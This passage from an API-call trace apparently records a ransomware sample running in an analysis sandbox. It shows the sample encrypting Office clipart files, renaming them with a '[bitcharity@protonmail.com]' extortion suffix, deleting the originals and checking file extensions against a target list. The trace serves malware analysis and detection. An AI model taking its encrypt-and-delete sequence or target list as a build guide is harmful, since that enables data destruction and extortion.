lpNewFilePointer=0x0) returned 1 [0150.131] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0150.132] GetLastError () returned 0x0 [0150.132] ReadFile (in: hFile=0x108c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x1398, lpOverlapped=0x0) returned 1 [0150.396] WriteFile (in: hFile=0x10cc, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x13a0, lpOverlapped=0x0) returned 1 [0150.397] ReadFile (in: hFile=0x108c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.397] WriteFile (in: hFile=0x10cc, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.397] SetEndOfFile (hFile=0x10cc) returned 1 [0150.397] CloseHandle (hObject=0x10cc) returned 1 [0150.404] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.404] SetEndOfFile (hFile=0x108c) returned 1 [0150.406] CloseHandle (hObject=0x108c) returned 1 [0150.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0150.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0150.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0150.407] lstrlenW (lpString=".doc") returned 4 [0150.407] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.407] lstrlenW (lpString=".docx") returned 5 [0150.407] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.407] lstrlenW (lpString=".pdf") returned 4 [0150.407] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.407] lstrlenW (lpString=".xls") returned 4 [0150.407] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.407] lstrlenW (lpString=".xlsx") returned 5 [0150.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.407] lstrlenW (lpString=".ppt") returned 4 [0150.407] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0150.407] lstrlenW (lpString=".zip") returned 4 [0150.407] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.407] lstrlenW (lpString=".rar") returned 4 [0150.407] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.407] lstrlenW (lpString=".bz2") returned 4 [0150.407] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.407] lstrlenW (lpString=".7z") returned 3 [0150.407] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0150.408] lstrlenW (lpString=".dbf") returned 4 [0150.408] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0150.408] lstrlenW (lpString=".1cd") returned 4 [0150.408] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0150.408] lstrlenW (lpString=".jpg") returned 4 [0150.408] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.556] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.556] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0150.556] GetLastError () returned 0x0 [0150.556] ReadFile (in: hFile=0x10b4, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x1634, lpOverlapped=0x0) returned 1 [0150.629] WriteFile (in: hFile=0x10e4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x1640, lpOverlapped=0x0) returned 1 [0150.630] ReadFile (in: hFile=0x10b4, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.630] WriteFile (in: hFile=0x10e4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.630] SetEndOfFile (hFile=0x10e4) returned 1 [0150.630] CloseHandle (hObject=0x10e4) returned 1 [0150.635] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.635] SetEndOfFile (hFile=0x10b4) returned 1 [0150.641] CloseHandle (hObject=0x10b4) returned 1 [0150.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0150.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0150.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0150.646] lstrlenW (lpString=".doc") returned 4 [0150.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.646] lstrlenW (lpString=".docx") returned 5 [0150.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.646] lstrlenW (lpString=".pdf") returned 4 [0150.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.646] lstrlenW (lpString=".xls") returned 4 [0150.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.646] lstrlenW (lpString=".xlsx") returned 5 [0150.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.646] lstrlenW (lpString=".ppt") returned 4 [0150.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0150.647] lstrlenW (lpString=".zip") returned 4 [0150.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.647] lstrlenW (lpString=".rar") returned 4 [0150.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.647] lstrlenW (lpString=".bz2") returned 4 [0150.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.647] lstrlenW (lpString=".7z") returned 3 [0150.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0150.647] lstrlenW (lpString=".dbf") returned 4 [0150.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0150.647] lstrlenW (lpString=".1cd") returned 4 [0150.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0150.647] lstrlenW (lpString=".jpg") returned 4 [0150.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.648] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.648] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0150.648] GetLastError () returned 0x0 [0150.648] ReadFile (in: hFile=0x10b4, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x5062, lpOverlapped=0x0) returned 1 [0151.248] WriteFile (in: hFile=0x10e4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x5070, lpOverlapped=0x0) returned 1 [0151.249] ReadFile (in: hFile=0x10b4, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.250] WriteFile (in: hFile=0x10e4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.250] SetEndOfFile (hFile=0x10e4) returned 1 [0151.321] CloseHandle (hObject=0x10e4) returned 1 [0151.325] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.325] SetEndOfFile (hFile=0x10b4) returned 1 [0151.326] CloseHandle (hObject=0x10b4) returned 1 [0151.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0151.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0151.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0151.327] lstrlenW (lpString=".doc") returned 4 [0151.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.327] lstrlenW (lpString=".docx") returned 5 [0151.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.327] lstrlenW (lpString=".pdf") returned 4 [0151.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.327] lstrlenW (lpString=".xls") returned 4 [0151.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.327] lstrlenW (lpString=".xlsx") returned 5 [0151.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.327] lstrlenW (lpString=".ppt") returned 4 [0151.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0151.327] lstrlenW (lpString=".zip") returned 4 [0151.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.327] lstrlenW (lpString=".rar") returned 4 [0151.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.327] lstrlenW (lpString=".bz2") returned 4 [0151.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.327] lstrlenW (lpString=".7z") returned 3 [0151.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0151.327] lstrlenW (lpString=".dbf") returned 4 [0151.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0151.327] lstrlenW (lpString=".1cd") returned 4 [0151.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0151.328] lstrlenW (lpString=".jpg") returned 4 [0151.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.328] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.328] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0151.328] GetLastError () returned 0x0 [0151.328] ReadFile (in: hFile=0x10b4, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x728, lpOverlapped=0x0) returned 1 [0151.359] WriteFile (in: hFile=0x10e4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x730, lpOverlapped=0x0) returned 1 [0151.360] ReadFile (in: hFile=0x10b4, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.360] WriteFile (in: hFile=0x10e4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.361] SetEndOfFile (hFile=0x10e4) returned 1 [0151.361] CloseHandle (hObject=0x10e4) returned 1 [0151.361] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.361] SetEndOfFile (hFile=0x10b4) returned 1 [0151.362] CloseHandle (hObject=0x10b4) returned 1 [0151.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.363] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0151.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0151.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0151.363] lstrlenW (lpString=".doc") returned 4 [0151.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.363] lstrlenW (lpString=".docx") returned 5 [0151.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.363] lstrlenW (lpString=".pdf") returned 4 [0151.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.363] lstrlenW (lpString=".xls") returned 4 [0151.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.363] lstrlenW (lpString=".xlsx") returned 5 [0151.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.363] lstrlenW (lpString=".ppt") returned 4 [0151.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0151.363] lstrlenW (lpString=".zip") returned 4 [0151.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.364] lstrlenW (lpString=".rar") returned 4 [0151.364] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.364] lstrlenW (lpString=".bz2") returned 4 [0151.364] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.364] lstrlenW (lpString=".7z") returned 3 [0151.364] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0151.364] lstrlenW (lpString=".dbf") returned 4 [0151.364] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0151.364] lstrlenW (lpString=".1cd") returned 4 [0151.364] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0151.364] lstrlenW (lpString=".jpg") returned 4 [0151.364] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.364] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.364] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0151.365] GetLastError () returned 0x0 [0151.365] ReadFile (in: hFile=0x10b4, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0xbc4, lpOverlapped=0x0) returned 1 [0151.384] WriteFile (in: hFile=0x10e4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0151.384] ReadFile (in: hFile=0x10b4, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.384] WriteFile (in: hFile=0x10e4, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.385] SetEndOfFile (hFile=0x10e4) returned 1 [0151.385] CloseHandle (hObject=0x10e4) returned 1 [0151.385] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.385] SetEndOfFile (hFile=0x10b4) returned 1 [0151.386] CloseHandle (hObject=0x10b4) returned 1 [0151.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0151.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0151.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0151.387] lstrlenW (lpString=".doc") returned 4 [0151.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.387] lstrlenW (lpString=".docx") returned 5 [0151.387] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.387] lstrlenW (lpString=".pdf") returned 4 [0151.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.387] lstrlenW (lpString=".xls") returned 4 [0151.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.388] lstrlenW (lpString=".xlsx") returned 5 [0151.388] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.388] lstrlenW (lpString=".ppt") returned 4 [0151.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0151.388] lstrlenW (lpString=".zip") returned 4 [0151.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.388] lstrlenW (lpString=".rar") returned 4 [0151.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.388] lstrlenW (lpString=".bz2") returned 4 [0151.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.388] lstrlenW (lpString=".7z") returned 3 [0151.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0151.388] lstrlenW (lpString=".dbf") returned 4 [0151.388] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0151.388] lstrlenW (lpString=".1cd") returned 4 [0151.388] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0151.388] lstrlenW (lpString=".jpg") returned 4 [0151.388] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.395] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.395] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0151.403] GetLastError () returned 0x0 [0151.403] ReadFile (in: hFile=0x10e8, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x1d74, lpOverlapped=0x0) returned 1 [0151.419] WriteFile (in: hFile=0x10c0, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x1d80, lpOverlapped=0x0) returned 1 [0151.442] ReadFile (in: hFile=0x10e8, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.442] WriteFile (in: hFile=0x10c0, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.442] SetEndOfFile (hFile=0x10c0) returned 1 [0151.443] CloseHandle (hObject=0x10c0) returned 1 [0151.450] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, 